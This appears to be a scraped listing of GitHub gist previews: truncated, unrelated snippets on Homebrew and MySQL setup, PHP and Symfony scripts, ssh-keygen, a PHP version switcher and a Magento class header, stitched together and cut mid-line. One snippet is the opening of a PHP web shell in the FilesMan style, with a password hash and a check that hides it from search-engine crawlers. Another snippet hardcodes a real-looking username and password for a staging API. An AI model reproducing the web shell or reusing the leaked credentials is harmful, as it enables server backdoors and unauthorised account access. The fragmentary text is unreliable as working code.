For homebrew version 0.9.5.
brew -v # => Homebrew 0.9.5
Install the current version of mysql.
# Install current mysql version
brew install mysql
function multiplyInColumn($a, $b) { | |
$bArr = array_reverse(str_split($b)); | |
$aArr = array_reverse(str_split($a)); | |
$result = array_map(function ($step, $bItem) use ($aArr) { | |
$rest = 0; | |
$result = array_fill(0, $step, 0); |
<?php | |
$auth_pass = "eaf02c22c483aa6b6510118dd3524c2c"; | |
$color = "#df5"; | |
$default_action = 'FilesMan'; | |
$default_use_ajax = true; | |
$default_charset = 'Windows-1251'; | |
if(!empty($_SERVER['HTTP_USER_AGENT'])) { | |
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); | |
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { |
jQuery.ajax({ | |
contentType: 'application/json', | |
data: JSON.stringify({"username": "vdubina@lyonscg.com", "password": "Qwer1234"}), | |
dataType: 'json', | |
processData: false, | |
type: 'POST', | |
url: 'https://pha-m2-stg.lcgosc.com/rest/default/V1/integration/customer/token' | |
}).done(function (token) { | |
jQuery.ajax({ | |
contentType: 'application/json', |
#!/usr/bin/env php | |
<?php | |
use Symfony\Component\Console\Command\Command; | |
use Symfony\Component\Console\Input\InputInterface; | |
use Symfony\Component\Console\Output\OutputInterface; | |
use Symfony\Component\Console\Application; | |
if (PHP_SAPI !== 'cli') { | |
echo 'dev/run-script.php must be run as a CLI application'; |
create different ssh key according the article Mac Set-Up Git
$ ssh-keygen -t rsa -C "your_email@youremail.com"
#!/bin/bash | |
# Check if command was ran as root. | |
if [[ $(id -u) -eq 0 ]]; then | |
echo "The command \"sphp\" should not be executed as root or via sudo directly." | |
echo "When a service requires root access, you will be prompted for a password as needed." | |
exit 1 | |
fi | |
# Usage |
Things I had to do using Homebrew to get my local web dev environment back up and running after migration to OSX Sierra + Xcode 8.1.
Note: I used brew reinstall
because I had already installed most of this previously under Yosemite. Probably better ways to do this, but this is what worked for me.
brew doctor
brew tap homebrew/dupes
brew tap homebrew/versions
<?php | |
/** | |
* Rewrite Mage_Catalog_Model_Resource_Url class | |
* | |
* @category Lyonscg | |
* @package Lyonscg_Catalog | |
* @author Vladimir Kosenok vkosenok@lyonscg.com | |
* @copyright Copyright (c) 2012 Lyons Consulting Group (www.lyonscg.com) | |
*/ |